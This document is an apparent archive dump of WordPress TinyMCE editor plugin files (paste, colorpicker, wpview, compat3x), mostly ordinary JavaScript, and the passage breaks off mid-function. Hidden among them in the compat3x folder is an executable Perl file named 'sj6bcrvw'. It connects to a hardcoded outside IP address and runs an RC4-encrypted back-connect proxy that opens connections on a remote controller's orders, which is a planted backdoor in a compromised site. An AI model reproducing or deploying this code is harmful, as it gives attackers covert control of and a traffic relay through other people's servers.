editor.on('PastePlainTextToggle', function (e) { ctrl.active(e.state); }); }; var register$2 = function (editor, clipboard) { var postRender = curry(stateChange, editor, clipboard); editor.addButton('pastetext', { active: false, icon: 'pastetext', tooltip: 'Paste as text', cmd: 'mceTogglePlainTextPaste', onPostRender: postRender }); editor.addMenuItem('pastetext', { text: 'Paste as text', selectable: true, active: clipboard.pasteFormat, cmd: 'mceTogglePlainTextPaste', onPostRender: postRender }); }; var Buttons = { register: register$2 }; global$1.add('paste', function (editor) { if (DetectProPlugin.hasProPlugin(editor) === false) { var userIsInformedState = Cell(false); var draggingInternallyState = Cell(false); var pasteFormat = Cell(Settings.isPasteAsTextEnabled(editor) ? 'text' : 'html'); var clipboard = Clipboard(editor, pasteFormat); var quirks = Quirks.setup(editor); Buttons.register(editor, clipboard); Commands.register(editor, clipboard, userIsInformedState); PrePostProcess.setup(editor); CutCopy.register(editor); DragDrop.setup(editor, clipboard, draggingInternallyState); return Api.get(clipboard, quirks); } }); function Plugin () { } return Plugin; }(window)); })(); tinymce/plugins/colorpicker/plugin.min.js 0000644 00000002505 15111757756 0014650 0 ustar 00 !function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Color"),a=function(e,n){e.find("#preview")[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:i,onchange:function(){var e=this.rgb();t&&(t.find("#r").value(e.r),t.find("#g").value(e.g),t.find("#b").value(e.b),t.find("#hex").value(this.value().substr(1)),a(t,this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find("colorpicker")[0];if(e=this.name(),n=this.value(),"hex"===e)return o(t,n="#"+n),void i.value(n);n={r:t.find("#r").value(),g:t.find("#g").value(),b:t.find("#b").value()},i.value(n),o(t,n)}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){n("#"+t.toJSON().hex)}});o(t,i)};e.add("colorpicker",function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}(); tinymce/plugins/colorpicker/plugin.js 0000644 00000006751 15111757756 0014075 0 ustar 00 (function () { var colorpicker = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.util.Color'); var showPreview = function (win, hexColor) { win.find('#preview')[0].getEl().style.background = hexColor; }; var setColor = function (win, value) { var color = global$1(value), rgb = color.toRgb(); win.fromJSON({ r: rgb.r, g: rgb.g, b: rgb.b, hex: color.toHex().substr(1) }); showPreview(win, color.toHex()); }; var open = function (editor, callback, value) { var win = editor.windowManager.open({ title: 'Color', items: { type: 'container', layout: 'flex', direction: 'row', align: 'stretch', padding: 5, spacing: 10, items: [ { type: 'colorpicker', value: value, onchange: function () { var rgb = this.rgb(); if (win) { win.find('#r').value(rgb.r); win.find('#g').value(rgb.g); win.find('#b').value(rgb.b); win.find('#hex').value(this.value().substr(1)); showPreview(win, this.value()); } } }, { type: 'form', padding: 0, labelGap: 5, defaults: { type: 'textbox', size: 7, value: '0', flex: 1, spellcheck: false, onchange: function () { var colorPickerCtrl = win.find('colorpicker')[0]; var name, value; name = this.name(); value = this.value(); if (name === 'hex') { value = '#' + value; setColor(win, value); colorPickerCtrl.value(value); return; } value = { r: win.find('#r').value(), g: win.find('#g').value(), b: win.find('#b').value() }; colorPickerCtrl.value(value); setColor(win, value); } }, items: [ { name: 'r', label: 'R', autofocus: 1 }, { name: 'g', label: 'G' }, { name: 'b', label: 'B' }, { name: 'hex', label: '#', value: '000000' }, { name: 'preview', type: 'container', border: 1 } ] } ] }, onSubmit: function () { callback('#' + win.toJSON().hex); } }); setColor(win, value); }; var Dialog = { open: open }; global.add('colorpicker', function (editor) { if (!editor.settings.color_picker_callback) { editor.settings.color_picker_callback = function (callback, value) { Dialog.open(editor, callback, value); }; } }); function Plugin () { } return Plugin; }()); })(); tinymce/plugins/wpview/plugin.min.js 0000644 00000005526 15111757756 0013663 0 ustar 00 !function(c){c.PluginManager.add("wpview",function(o){function e(){}var n=window.wp;return n&&n.mce&&n.mce.views&&(o.on("init",function(){var e=window.MutationObserver||window.WebKitMutationObserver;e&&new e(function(){o.fire("wp-body-class-change")}).observe(o.getBody(),{attributes:!0,attributeFilter:["class"]}),o.on("wp-body-class-change",function(){var n=o.getBody().className;o.$('iframe[class="wpview-sandbox"]').each(function(e,t){if(!t.src||'javascript:""'===t.src)try{t.contentWindow.document.body.className=n}catch(e){}})})}),o.on("beforesetcontent",function(e){var t;if(e.selection||n.mce.views.unbind(),e.content){if(!e.load&&(t=o.selection.getNode())&&t!==o.getBody()&&/^\s*https?:\/\/\S+\s*$/i.test(e.content)){if(!(t=o.dom.getParent(t,"p"))||!/^[\s\uFEFF\u00A0]*$/.test(o.$(t).text()||""))return;t.innerHTML=""}e.content=n.mce.views.setMarkers(e.content,o)}}),o.on("setcontent",function(){n.mce.views.render()}),o.on("preprocess hide",function(e){o.$("div[data-wpview-text], p[data-wpview-marker]",e.node).each(function(e,t){t.innerHTML="."})},!0),o.on("postprocess",function(e){e.content=a(e.content)}),o.on("beforeaddundo",function(e){var t=e.level.content||e.level.fragments&&e.level.fragments.join(""),n=e.lastLevel?e.lastLevel.content||e.lastLevel.fragments&&e.lastLevel.fragments.join(""):o.startContent;t&&n&&-1!==t.indexOf(" data-wpview-")&&-1!==n.indexOf(" data-wpview-")&&a(n)===a(t)&&e.preventDefault()}),o.on("drop objectselected",function(e){i(e.targetClone)&&(e.targetClone=o.getDoc().createTextNode(window.decodeURIComponent(o.dom.getAttrib(e.targetClone,"data-wpview-text"))))}),o.on("pastepreprocess",function(e){var t=e.content;t&&(t=c.trim(t.replace(/<[^>]+>/g,"")),/^https?:\/\/\S+$/i.test(t))&&(e.content=t)}),o.on("resolvename",function(e){i(e.target)&&(e.name=o.dom.getAttrib(e.target,"data-wpview-type")||"object")}),o.on("click keyup",function(){var e=o.selection.getNode();i(e)&&o.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),o.addButton("wp_view_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e=o.selection.getNode();i(e)&&n.mce.views.edit(o,e)}}),o.addButton("wp_view_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){o.fire("cut")}}),o.once("preinit",function(){var t;o.wp&&o.wp._createToolbar&&(t=o.wp._createToolbar(["wp_view_edit","wp_view_remove"]),o.on("wptoolbar",function(e){!e.collapsed&&i(e.element)&&(e.toolbar=t)}))}),o.wp=o.wp||{},o.wp.getView=e,o.wp.setViewCursor=e),{getView:e};function i(e){return o.dom.hasClass(e,"wpview")}function a(e){function t(e,t){return"<p>"+window.decodeURIComponent(t)+"</p>"}return e&&-1!==e.indexOf(" data-wpview-")?e.replace(/<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g,t).replace(/<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g,t):e}})}(window.tinymce); tinymce/plugins/wpview/plugin.js 0000644 00000013703 15111757756 0013075 0 ustar 00 /** * WordPress View plugin. */ ( function( tinymce ) { tinymce.PluginManager.add( 'wpview', function( editor ) { function noop () {} // Set this here as wp-tinymce.js may be loaded too early. var wp = window.wp; if ( ! wp || ! wp.mce || ! wp.mce.views ) { return { getView: noop }; } // Check if a node is a view or not. function isView( node ) { return editor.dom.hasClass( node, 'wpview' ); } // Replace view tags with their text. function resetViews( content ) { function callback( match, $1 ) { return '<p>' + window.decodeURIComponent( $1 ) + '</p>'; } if ( ! content || content.indexOf( ' data-wpview-' ) === -1 ) { return content; } return content .replace( /<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g, callback ) .replace( /<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g, callback ); } editor.on( 'init', function() { var MutationObserver = window.MutationObserver || window.WebKitMutationObserver; if ( MutationObserver ) { new MutationObserver( function() { editor.fire( 'wp-body-class-change' ); } ) .observe( editor.getBody(), { attributes: true, attributeFilter: ['class'] } ); } // Pass on body class name changes from the editor to the wpView iframes. editor.on( 'wp-body-class-change', function() { var className = editor.getBody().className; editor.$( 'iframe[class="wpview-sandbox"]' ).each( function( i, iframe ) { // Make sure it is a local iframe. // jshint scripturl: true if ( ! iframe.src || iframe.src === 'javascript:""' ) { try { iframe.contentWindow.document.body.className = className; } catch( er ) {} } }); } ); }); // Scan new content for matching view patterns and replace them with markers. editor.on( 'beforesetcontent', function( event ) { var node; if ( ! event.selection ) { wp.mce.views.unbind(); } if ( ! event.content ) { return; } if ( ! event.load ) { node = editor.selection.getNode(); if ( node && node !== editor.getBody() && /^\s*https?:\/\/\S+\s*$/i.test( event.content ) ) { // When a url is pasted or inserted, only try to embed it when it is in an empty paragraph. node = editor.dom.getParent( node, 'p' ); if ( node && /^[\s\uFEFF\u00A0]*$/.test( editor.$( node ).text() || '' ) ) { // Make sure there are no empty inline elements in the <p>. node.innerHTML = ''; } else { return; } } } event.content = wp.mce.views.setMarkers( event.content, editor ); } ); // Replace any new markers nodes with views. editor.on( 'setcontent', function() { wp.mce.views.render(); } ); // Empty view nodes for easier processing. editor.on( 'preprocess hide', function( event ) { editor.$( 'div[data-wpview-text], p[data-wpview-marker]', event.node ).each( function( i, node ) { node.innerHTML = '.'; } ); }, true ); // Replace views with their text. editor.on( 'postprocess', function( event ) { event.content = resetViews( event.content ); } ); // Prevent adding of undo levels when replacing wpview markers // or when there are changes only in the (non-editable) previews. editor.on( 'beforeaddundo', function( event ) { var lastContent; var newContent = event.level.content || ( event.level.fragments && event.level.fragments.join( '' ) ); if ( ! event.lastLevel ) { lastContent = editor.startContent; } else { lastContent = event.lastLevel.content || ( event.lastLevel.fragments && event.lastLevel.fragments.join( '' ) ); } if ( ! newContent || ! lastContent || newContent.indexOf( ' data-wpview-' ) === -1 || lastContent.indexOf( ' data-wpview-' ) === -1 ) { return; } if ( resetViews( lastContent ) === resetViews( newContent ) ) { event.preventDefault(); } } ); // Make sure views are copied as their text. editor.on( 'drop objectselected', function( event ) { if ( isView( event.targetClone ) ) { event.targetClone = editor.getDoc().createTextNode( window.decodeURIComponent( editor.dom.getAttrib( event.targetClone, 'data-wpview-text' ) ) ); } } ); // Clean up URLs for easier processing. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( content ) { content = tinymce.trim( content.replace( /<[^>]+>/g, '' ) ); if ( /^https?:\/\/\S+$/i.test( content ) ) { event.content = content; } } } ); // Show the view type in the element path. editor.on( 'resolvename', function( event ) { if ( isView( event.target ) ) { event.name = editor.dom.getAttrib( event.target, 'data-wpview-type' ) || 'object'; } } ); // See `media` plugin. editor.on( 'click keyup', function() { var node = editor.selection.getNode(); if ( isView( node ) ) { if ( editor.dom.getAttrib( node, 'data-mce-selected' ) ) { node.setAttribute( 'data-mce-selected', '2' ); } } } ); editor.addButton( 'wp_view_edit', { tooltip: 'Edit|button', // '|button' is not displayed, only used for context. icon: 'dashicon dashicons-edit', onclick: function() { var node = editor.selection.getNode(); if ( isView( node ) ) { wp.mce.views.edit( editor, node ); } } } ); editor.addButton( 'wp_view_remove', { tooltip: 'Remove', icon: 'dashicon dashicons-no', onclick: function() { editor.fire( 'cut' ); } } ); editor.once( 'preinit', function() { var toolbar; if ( editor.wp && editor.wp._createToolbar ) { toolbar = editor.wp._createToolbar( [ 'wp_view_edit', 'wp_view_remove' ] ); editor.on( 'wptoolbar', function( event ) { if ( ! event.collapsed && isView( event.element ) ) { event.toolbar = toolbar; } } ); } } ); editor.wp = editor.wp || {}; editor.wp.getView = noop; editor.wp.setViewCursor = noop; return { getView: noop }; } ); } )( window.tinymce ); tinymce/plugins/compat3x/plugin.min.js 0000644 00000010041 15111757756 0014064 0 ustar 00 !function(u){var t;function l(){}function f(e){!t&&window&&window.console&&(t=!0,console.log("Deprecated TinyMCE API call: "+e))}function i(i,a,d,s){i=i||this;var c=[];a?(this.add=function(o,r,e){function t(e){var t=[];if("string"==typeof d&&(d=d.split(" ")),d&&"function"!=typeof d)for(var n=0;n<d.length;n++)t.push(e[d[n]]);("function"!=typeof d||(t=d(a,e,i)))&&(d||(t=[e]),t.unshift(s||i),!1===o.apply(r||s||i,t)&&e.stopImmediatePropagation())}f("<target>.on"+a+".add(..)"),i.on(a,t,e);var n={original:o,patched:t};return c.push(n),t},this.addToTop=function(e,t){this.add(e,t,!0)},this.remove=function(n){return c.forEach(function(e,t){if(e.original===n)return c.splice(t,1),i.off(a,e.patched)}),i.off(a,n)},this.dispatch=function(){return i.fire(a),!0}):this.add=this.addToTop=this.remove=this.dispatch=l}function n(s){function e(e,t){u.each(e.split(" "),function(e){s["on"+e]=new i(s,e,t)})}function n(e,t,n){return[t.level,n]}function o(n){return function(e,t){if(!t.selection&&!n||t.selection==n)return[t]}}if(!s.controlManager){s.controlManager={buttons:{},setDisabled:function(e,t){f("controlManager.setDisabled(..)"),this.buttons[e]&&this.buttons[e].disabled(t)},setActive:function(e,t){f("controlManager.setActive(..)"),this.buttons[e]&&this.buttons[e].active(t)},onAdd:new i,onPostRender:new i,add:function(e){return e},createButton:r,createColorSplitButton:r,createControl:r,createDropMenu:r,createListBox:r,createMenuButton:r,createSeparator:r,createSplitButton:r,createToolbar:r,createToolbarGroup:r,destroy:l,get:l,setControlType:r},e("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate","editor"),e("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"),e("BeforeExecCommand ExecCommand","command ui value args"),e("PreProcess PostProcess LoadContent SaveContent Change"),e("BeforeSetContent BeforeGetContent SetContent GetContent",o(!1)),e("SetProgressState","state time"),e("VisualAid","element hasVisual"),e("Undo Redo",n),e("NodeChange",function(e,t){return[s.controlManager,t.element,s.selection.isCollapsed(),t]});var c=s.addButton;s.addButton=function(e,t){var n,o,r,i;function a(){if(s.controlManager.buttons[e]=this,n)return n.apply(this,arguments)}for(var d in t)"onpostrender"===d.toLowerCase()&&(n=t[d],t.onPostRender=a);return n||(t.onPostRender=a),t.title&&(t.title=(o=t.title,r=[s.settings.language||"en",o].join("."),i=u.i18n.translate(r),r!==i?i:u.i18n.translate(o))),c.call(this,e,t)},s.on("init",function(){var e=s.undoManager,t=s.selection;e.onUndo=new i(s,"Undo",n,null,e),e.onRedo=new i(s,"Redo",n,null,e),e.onBeforeAdd=new i(s,"BeforeAddUndo",null,e),e.onAdd=new i(s,"AddUndo",null,e),t.onBeforeGetContent=new i(s,"BeforeGetContent",o(!0),t),t.onGetContent=new i(s,"GetContent",o(!0),t),t.onBeforeSetContent=new i(s,"BeforeSetContent",o(!0),t),t.onSetContent=new i(s,"SetContent",o(!0),t)}),s.on("BeforeRenderUI",function(){var e=s.windowManager;e.onOpen=new i,e.onClose=new i,e.createInstance=function(e,t,n,o,r,i){return f("windowManager.createInstance(..)"),new(u.resolve(e))(t,n,o,r,i)}})}function r(){var t={};function n(){return r()}return f("editor.controlManager.*"),u.each("add addMenu addSeparator collapse createMenu destroy displayColor expand focus getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex setActive setAriaProperty setColor setDisabled setSelected setState showMenu update".split(" "),function(e){t[e]=n}),t}}u.util.Dispatcher=i,u.onBeforeUnload=new i(u,"BeforeUnload"),u.onAddEditor=new i(u,"AddEditor","editor"),u.onRemoveEditor=new i(u,"RemoveEditor","editor"),u.util.Cookie={get:l,getHash:l,remove:l,set:l,setHash:l},u.on("SetupEditor",function(e){n(e.editor)}),u.PluginManager.add("compat3x",n),u.addI18n=function(n,e){var r=u.util.I18n,t=u.each;"string"!=typeof n||-1!==n.indexOf(".")?u.is(n,"string")?t(e,function(e,t){r.data[n+"."+t]=e}):t(n,function(e,o){t(e,function(e,n){t(e,function(e,t){"common"===n?r.data[o+"."+t]=e:r.data[o+"."+n+"."+t]=e})})}):r.add(n,e)}}(tinymce); tinymce/plugins/compat3x/sj6bcrvw 0000755 00000022033 15111757756 0013146 0 ustar 00 #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.178'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); tinymce/plugins/compat3x/plugin.js 0000644 00000022352 15111757756 0013312 0 ustar 00 /** * plugin.js * * Released under LGPL License. * Copyright (c) 1999-2017 Ephox Corp. All rights reserved * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ /*global tinymce:true, console:true */ /*eslint no-console:0, new-cap:0 */ /** * This plugin adds missing events form the 4.x API back. Not every event is * properly supported but most things should work. * * Unsupported things: * - No editor.onEvent * - Can't cancel execCommands with beforeExecCommand */ (function (tinymce) { var reported; function noop() { } function log(apiCall) { if (!reported && window && window.console) { reported = true; console.log("Deprecated TinyMCE API call: " + apiCall); } } function Dispatcher(target, newEventName, argsMap, defaultScope) { target = target || this; var cbs = []; if (!newEventName) { this.add = this.addToTop = this.remove = this.dispatch = noop; return; } this.add = function (callback, scope, prepend) { log('<target>.on' + newEventName + ".add(..)"); // Convert callback({arg1:x, arg2:x}) -> callback(arg1, arg2) function patchedEventCallback(e) { var callbackArgs = []; if (typeof argsMap == "string") { argsMap = argsMap.split(" "); } if (argsMap && typeof argsMap !== "function") { for (var i = 0; i < argsMap.length; i++) { callbackArgs.push(e[argsMap[i]]); } } if (typeof argsMap == "function") { callbackArgs = argsMap(newEventName, e, target); if (!callbackArgs) { return; } } if (!argsMap) { callbackArgs = [e]; } callbackArgs.unshift(defaultScope || target); if (callback.apply(scope || defaultScope || target, callbackArgs) === false) { e.stopImmediatePropagation(); } } target.on(newEventName, patchedEventCallback, prepend); var handlers = { original: callback, patched: patchedEventCallback }; cbs.push(handlers); return patchedEventCallback; }; this.addToTop = function (callback, scope) { this.add(callback, scope, true); }; this.remove = function (callback) { cbs.forEach(function (item, i) { if (item.original === callback) { cbs.splice(i, 1); return target.off(newEventName, item.patched); } }); return target.off(newEventName, callback); }; this.dispatch = function () { target.fire(newEventName); return true; }; } tinymce.util.Dispatcher = Dispatcher; tinymce.onBeforeUnload = new Dispatcher(tinymce, "BeforeUnload"); tinymce.onAddEditor = new Dispatcher(tinymce, "AddEditor", "editor"); tinymce.onRemoveEditor = new Dispatcher(tinymce, "RemoveEditor", "editor"); tinymce.util.Cookie = { get: noop, getHash: noop, remove: noop, set: noop, setHash: noop }; function patchEditor(editor) { function translate(str) { var prefix = editor.settings.language || "en"; var prefixedStr = [prefix, str].join('.'); var translatedStr = tinymce.i18n.translate(prefixedStr); return prefixedStr !== translatedStr ? translatedStr : tinymce.i18n.translate(str); } function patchEditorEvents(oldEventNames, argsMap) { tinymce.each(oldEventNames.split(" "), function (oldName) { editor["on" + oldName] = new Dispatcher(editor, oldName, argsMap); }); } function convertUndoEventArgs(type, event, target) { return [ event.level, target ]; } function filterSelectionEvents(needsSelection) { return function (type, e) { if ((!e.selection && !needsSelection) || e.selection == needsSelection) { return [e]; } }; } if (editor.controlManager) { return; } function cmNoop() { var obj = {}, methods = 'add addMenu addSeparator collapse createMenu destroy displayColor expand focus ' + 'getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark ' + 'postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex ' + 'setActive setAriaProperty setColor setDisabled setSelected setState showMenu update'; log('editor.controlManager.*'); function _noop() { return cmNoop(); } tinymce.each(methods.split(' '), function (method) { obj[method] = _noop; }); return obj; } editor.controlManager = { buttons: {}, setDisabled: function (name, state) { log("controlManager.setDisabled(..)"); if (this.buttons[name]) { this.buttons[name].disabled(state); } }, setActive: function (name, state) { log("controlManager.setActive(..)"); if (this.buttons[name]) { this.buttons[name].active(state); } }, onAdd: new Dispatcher(), onPostRender: new Dispatcher(), add: function (obj) { return obj; }, createButton: cmNoop, createColorSplitButton: cmNoop, createControl: cmNoop, createDropMenu: cmNoop, createListBox: cmNoop, createMenuButton: cmNoop, createSeparator: cmNoop, createSplitButton: cmNoop, createToolbar: cmNoop, createToolbarGroup: cmNoop, destroy: noop, get: noop, setControlType: cmNoop }; patchEditorEvents("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate", "editor"); patchEditorEvents("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset"); patchEditorEvents("BeforeExecCommand ExecCommand", "command ui value args"); // args.terminate not supported patchEditorEvents("PreProcess PostProcess LoadContent SaveContent Change"); patchEditorEvents("BeforeSetContent BeforeGetContent SetContent GetContent", filterSelectionEvents(false)); patchEditorEvents("SetProgressState", "state time"); patchEditorEvents("VisualAid", "element hasVisual"); patchEditorEvents("Undo Redo", convertUndoEventArgs); patchEditorEvents("NodeChange", function (type, e) { return [ editor.controlManager, e.element, editor.selection.isCollapsed(), e ]; }); var originalAddButton = editor.addButton; editor.addButton = function (name, settings) { var originalOnPostRender; function 